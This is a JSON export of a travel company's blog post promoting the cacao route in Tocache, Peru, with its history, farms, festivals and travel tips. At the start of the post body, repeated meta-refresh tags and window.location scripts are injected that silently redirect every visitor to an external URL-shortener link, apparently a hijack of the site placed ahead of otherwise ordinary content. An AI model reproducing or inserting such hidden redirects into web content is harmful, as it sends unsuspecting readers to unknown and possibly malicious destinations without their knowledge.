{"id":7084,"date":"2025-08-27T15:22:21","date_gmt":"2025-08-27T20:22:21","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=7084"},"modified":"2025-08-27T15:22:24","modified_gmt":"2025-08-27T20:22:24","slug":"the-cocoa-route-in-tocache-san-martin-in-peru","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cocoa-route-in-tocache-san-martin-in-peru\/","title":{"rendered":"The Cacao Route in San Mart\u00edn, Tocache, Peru"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Are you a chocoholic? Pack your backpack for an exciting adventure in Peru. Our country has stunning landscapes and the majestic <a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/machu-picchu\"><strong>Machu Picchu<\/strong><\/a>. It also has a lesser-known gem: The Peruvian Cacao Route. <\/p>\n\n\n\n<p>Tocache&#8217;s transition from illicit coca to quality cacao demonstrates the community&#8217;s commitment to sustainability.<\/p>\n\n\n\n<p> According to the Sustainable Production website, a pilot initiative promotes cacao\u00a0and other crops while remaining deforestation-free.<\/p>\n\n\n\n<p>Therefore, in this guide, we&#8217;ll follow Peruvian cacao, we&#8217;ll see it go from the plantations to the yummy chocolate bars. Let&#8217;s delve into the flavors, traditions, and ecological responsibility behind this culinary treasure.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>From Conflict to Cacao: A Story of Renewal<\/strong><\/h2>\n\n\n\n<p>To begin with, Tocache has faced its share of challenges in the past. In the 1980s and 1990s, the San Mart\u00edn region struggled with issues related to illicit coca production, which led to conflict and instability. <\/p>\n\n\n\n<p>However, the community has made remarkable progress. By embracing cacao, Tocache has turned a new page, finding hope and prosperity. <\/p>\n\n\n\n<p>The United Nations Office on Drugs and Crime (UNODC) says<strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/tips-for-travelers\/all-about-peru-updated-information\" title=\"\"> Peru <\/a><\/strong>cut coca farming in San Mart\u00edn by more than 90% from 2000 to 2015.<\/p>\n\n\n\n<p>This was due to Peru\u2019s efforts to replace <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-coca-leaf-in-peru-significance-benefits-and-history\/\" title=\"\">coca <\/a><\/strong>with legal crops. Eventually, cacao has become a key part of this positive change, offering both economic opportunities and environmental benefits. <\/p>\n\n\n\n<p>For instance, the 2021 World Bank report shows that cacao farming in San Mart\u00edn has lifted many families out of poverty. Incomes rose by up to 40% for those who switched to sustainable crops. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/001061174W.jpg?resize=697%2C465&#038;ssl=1\" alt=\"San Martin woman and cacao\" class=\"wp-image-14333\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/001061174W.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/001061174W.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/001061174W.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/001061174W.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/001061174W.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/001061174W.jpg?w=1800&amp;ssl=1 1800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/001061174W.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>In Tocache, cooperatives such as ACOPAGRO are key players that support over 2,000 farmers and export organic cacao to major brands like Lindt and Ritter Sport, according to Fairtrade International.<\/p>\n\n\n\n<p>This transformation is beneficial for the environment, too. Cacao in Tocache thrives in agroforestry systems, where it grows alongside native trees like banana and cedar. <\/p>\n\n\n\n<p>This approach helps preserve biodiversity and capture carbon. The <em>Alliance of Biodiversity International and CIAT<\/em> report that these sustainable practices have kept deforestation rates near zero in cacao-growing areas of San Mart\u00edn. <\/p>\n\n\n\n<p>Also, a Rainforest Alliance-supported program encourages farmers to use climate-smart methods. These include composting and shade management that help protect cacao yields from climate change.<\/p>\n\n\n\n<p>Tocache\u2019s journey shows us that, with support and hard work, communities can tackle challenges. By building a better future for themselves and the planet.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Cacao Route Experience: From Pod to Palate<\/strong><\/h2>\n\n\n\n<p>The Cacao Route in Tocache is a hands-on adventure into the heart of <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-cacao-route-chocolate-tourism-in-peru\/\" title=\"\">chocolate<\/a><\/strong>-making. Visitors can explore family-run farms, where they can witness the artistry behind cacao cultivation. <\/p>\n\n\n\n<p>The journey starts with picking bright cacao pods. Then, fermentation and sun-drying occur. These steps bring out the beans&#8217; rich flavors. <\/p>\n\n\n\n<p>At cooperatives like Oro Verde, travelers can join workshops. They roast and grind beans to make smooth chocolate bars.<\/p>\n\n\n\n<p>Likewise, Ruta Alternativa, a tourism project in Peru, highlights Tocache\u2019s chocolates. They have cacao levels of 70% or more, which gives them rich, pure flavors. Farms often pair tastings with local fruits or <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-pisco-and-pisco-route-in-ica\/\" title=\"\">pisco<\/a><\/strong>, Peru\u2019s national spirit, for a sensory delight.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/la-ruta-del-cacao-en-san-martin-3.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Cacap frpm San Martin, grinded and entire\" class=\"wp-image-14334\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/la-ruta-del-cacao-en-san-martin-3.jpg?w=720&amp;ssl=1 720w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/la-ruta-del-cacao-en-san-martin-3.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/la-ruta-del-cacao-en-san-martin-3.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Apart from chocolate, there are cacao products such as butter for cosmetics, powder for making hot cocoa, and nibs, which are a crunchy<strong> <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-12-incredible-peruvian-superfoods-you-should-try\/\" title=\"\">superfood<\/a><\/strong>. <\/p>\n\n\n\n<p>Some farms serve mazamorra de cacao. This traditional pudding shows how versatile cacao can be. Tocache\u2019s cacao has earned international accolades. <\/p>\n\n\n\n<p>In 2024, San Mart\u00edn producers won gold at the <em>International Chocolate Awards<\/em> for their single-origin bars, praised for their notes of tropical fruit and spice.<\/p>\n\n\n\n<p>PromPer\u00fa says the region exports more than 5,000 tons of fine-flavor cacao each year. This cacao goes to chocolatiers in Switzerland, Japan, and the United States. <\/p>\n\n\n\n<p>Yet, the true reward lies in the human story: farmers like those in <em>ACOPAGRO<\/em> share their pride in cultivating a crop that sustains their families and showcases Peru\u2019s heritage.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Taste of Peru: A Cacao Symphony<\/strong><\/h2>\n\n\n\n<p>Peru is a top country for cacao diversity, famous for its varieties, like Criollo, which is delicate and floral. Trinitario is balanced and robust. Nacional is a rare heirloom with creamy and fruity notes. <\/p>\n\n\n\n<p>San Mart\u00edn alone makes up 30% of the country\u2019s output. A 2023 study by the Pontifical<em> Catholic University of Peru<\/em> found that Tocache\u2019s cacao contains elevated levels of polyphenols\u2014antioxidants linked to heart health\u2014adding a wellness angle to its allure.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/chocolate-1.jpg?resize=697%2C327&#038;ssl=1\" alt=\"Different kinds of Cacao\" class=\"wp-image-14335\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/chocolate-1.jpg?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/chocolate-1.jpg?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/chocolate-1.jpg?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/chocolate-1.jpg?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Single-origin chocolate, made from cacao from a specific region, is a highlight of the Cacao Route. Tocache\u2019s terroir features rich soil, a humid climate, and clear rivers. These elements create flavors such as mango, passionfruit, almond, and jasmine. <\/p>\n\n\n\n<p>Tastings reveal these nuances, often guided by experts who explain how altitude and microclimates shape each bar. <\/p>\n\n\n\n<p>For a true treat, try chocolate with Amazonian <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-your-ultimate-guide-to-native-spices\/\" title=\"\">native spices<\/a><\/strong> like sacha culantro. You can also pair it with Peruvian native fruits, such as the aguaymanto.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Cultural Connections: Festivals and Indigenous Wisdom<\/strong><\/h2>\n\n\n\n<p>Tocache hosts the Fiesta del Cacao y Chocolate every July. This lively festival celebrates the harvest with music, dance, and tasty chocolate samples. The San Mart\u00edn Regional Government says the event attracts thousands.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/Festival-de-cacao-San-martin.webp?resize=697%2C523&#038;ssl=1\" alt=\"Last Year's Fiesta Del Cacao\" class=\"wp-image-14336\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/Festival-de-cacao-San-martin.webp?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/Festival-de-cacao-San-martin.webp?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/Festival-de-cacao-San-martin.webp?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/Festival-de-cacao-San-martin.webp?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/Festival-de-cacao-San-martin.webp?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p> It highlights local cooperatives and indigenous traditions, and visitors can engage with <em>Kichwa-Lamista<\/em> communities, who have cultivated cacao for centuries. These interactions offer a deeper appreciation of cacao\u2019s cultural significance.<\/p>\n\n\n\n<p> For the Kichwa-Lamista, cacao is more than a crop\u2014it\u2019s a sacred gift from the forest, used in rituals and medicine. Learning their stories, from cacao-based remedies to myths of the Amazon, enriches the route\u2019s narrative.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Planning Your Cacao Route Adventure<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>How do I get to Tocache?<\/strong><\/h3>\n\n\n\n<p>Tocache lies 120 miles from Tarapoto, the region\u2019s main hub, accessible by a 45-minute flight from <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/lima\" title=\"\">Lima <\/a><\/strong>to Tarapoto\u2019s airport. From there, buses or taxis cover the 3\u20134-hour journey to Tocache along scenic routes. <\/p>\n\n\n\n<p>For overland travelers, a 15-hour bus from Lima offers views of Peru\u2019s highlands and jungles. Local operators like <em>Turismo Tocache<\/em> provide guided transfers.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>How long does the cacao route take?<\/strong><\/h3>\n\n\n\n<p>A full cacao route experience, including farm tours, workshops, and cultural visits, spans 2\u20133 days. Condensed half-day or full-day tours suit tighter schedules, focusing on key activities like harvesting and chocolate making.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>When is the best time to visit?<\/strong><\/h3>\n\n\n\n<p>The cacao harvest, from June to December, is prime time, with farms bustling and pods at their peak. The dry season (May\u2013October) brings clear skies and temperatures of 75\u201385\u00b0F, ideal for outdoor exploration. Avoid January\u2013March, when heavy rains may disrupt travel.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/000541622W.jpg?resize=697%2C464&#038;ssl=1\" alt=\"San Martin Man harvesting cacao with his family\" class=\"wp-image-14337\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/000541622W.jpg?resize=1024%2C682&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/000541622W.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/000541622W.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/000541622W.jpg?resize=1536%2C1023&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/000541622W.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/000541622W.jpg?w=1800&amp;ssl=1 1800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/000541622W.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Is the Cacao Route suitable for children?<\/strong><\/h3>\n\n\n\n<p>Yes! The route is educational and engaging for kids, with activities like pod picking, chocolate molding, and farm animal encounters. Some cooperatives offer kid-friendly tours, ensuring fun for all ages.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>What other products are made from cacao in Tocache?<\/strong><\/h3>\n\n\n\n<p>Beyond chocolate, Tocache produces cacao butter for skincare, cacao powder for cooking, and cacao liquor for beverages. Artisanal soaps and candles infused with cacao are popular souvenirs, available at cooperatives like <em>Mishki Cacao<\/em>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>What Should You Pack?<\/strong><\/h3>\n\n\n\n<p>Bring lightweight clothing, sturdy shoes for farm walks, insect repellent, and a reusable water bottle. A hat and sunscreen are essential for sunny days, and a raincoat is handy during harvest season.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Beyond the Route: Tocache\u2019s Natural and Culinary Wonders<\/strong><\/h2>\n\n\n\n<p>Tocache is a gateway to adventure. Kayak along the <em>R\u00edo Huallaga<\/em>, hike to <em>Catarata Velo de Plata<\/em> (a 100-foot waterfall), or explore <em>Alto Shilcayo<\/em>, a nature reserve teeming with orchids and birds. <\/p>\n\n\n\n<p>The <em>San Mart\u00edn Regional Tourism Board<\/em> recommends visiting <em>Juanju\u00ed<\/em>, a nearby town known for its cacao markets and colonial charm.<\/p>\n\n\n\n<p>Foodies will love Tocache\u2019s cuisine. Savor <em>tacacho con cecina<\/em> (grilled plantain with smoked pork) or <em>inchicapi<\/em> (chicken soup with peanuts and cilantro), often served at farm stays. Local markets brim with exotic fruits like <em>camu camu<\/em> and cupua\u00e7u, complementing cacao\u2019s flavors.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/CACAO-3.jpeg.jpeg?resize=697%2C464&#038;ssl=1\" alt=\"Opened cacao and ungly hand\" class=\"wp-image-14338\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/CACAO-3.jpeg.jpeg?resize=1024%2C682&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/CACAO-3.jpeg.jpeg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/CACAO-3.jpeg.jpeg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/CACAO-3.jpeg.jpeg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/CACAO-3.jpeg.jpeg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Sustainability and the Future<\/strong><\/h3>\n\n\n\n<p>Tocache\u2019s cacao industry is a model for resilience. Farmers are changing their practices due to climate change. <\/p>\n\n\n\n<p>They get help from GIZ, the German Development Agency. GIZ funds irrigation systems and drought-resistant cacao varieties.<\/p>\n\n\n\n<p>A 2024 FAO (Food and Agriculture Organization) study highlights that San Mart\u00edn\u2019s cooperatives invest profits back into schools and healthcare. <\/p>\n\n\n\n<p>This helps the community over the long term. Visiting the Cacao Route helps support ethical production and eco-friendly travel. Your trip contributes to this cycle of growth.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Journey of Flavor and Impact<\/strong><\/h2>\n\n\n\n<p>The Cacao Route in Tocache is Peru\u2019s spirit celebration. Tocache blends taste, culture, and purpose. It triumphs over challenges and embraces sustainable innovation, creating a deep experience.<\/p>\n\n\n\n<p>Enjoying a fruity Criollo bar, dancing at a cacao festival, or learning from local farmers will give you a deeper bond with one of the best crops in the world. Tocache awaits, ready to share its cacao and its story with the world.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Finally, if you want to learn more about other towns, people, and cultures in Peru, stay tuned to our blog! Keep in mind, too, that <strong>Viagens Machu Picchu <\/strong>can help you to make the most of your travel to Peru.<\/p>\n\n\n\n<p>Don&#8217;t hesitate to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact <\/a><\/strong>our experts to get info about our tours, special deals, and promotions. The adventure of your dreams in San Mart\u00edn and more awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu:<\/em><\/strong>&nbsp;<strong>Journeys<em>&nbsp;that inspire, moments that last<\/em>.<\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Uncover the Secrets of Peruvian Cocoa on a Journey That Blends Flavors, Traditions, and Environmental Responsibility<\/p>\n","protected":false},"author":1,"featured_media":7105,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1519],"tags":[5323,3300,5319,5324,5326,5320,5317,4111,2921,5322,5325,246,1733,5321,3947,5316,2956,5318],"class_list":["post-7084","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-peru","tag-agroforestry","tag-cacao","tag-cacao-route","tag-chocolate","tag-cooperatives","tag-criollo","tag-deforestation-free","tag-festivals","tag-flavors","tag-harvest","tag-nacional","tag-peru","tag-san-martin","tag-single-origin","tag-sustainability","tag-tocache","tag-tourism","tag-trinitario"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/afewfwegwegwe.jpg?fit=1170%2C550&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-1Qg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/7084","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=7084"}],"version-history":[{"count":23,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/7084\/revisions"}],"predecessor-version":[{"id":18024,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/7084\/revisions\/18024"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/7105"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=7084"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=7084"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=7084"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}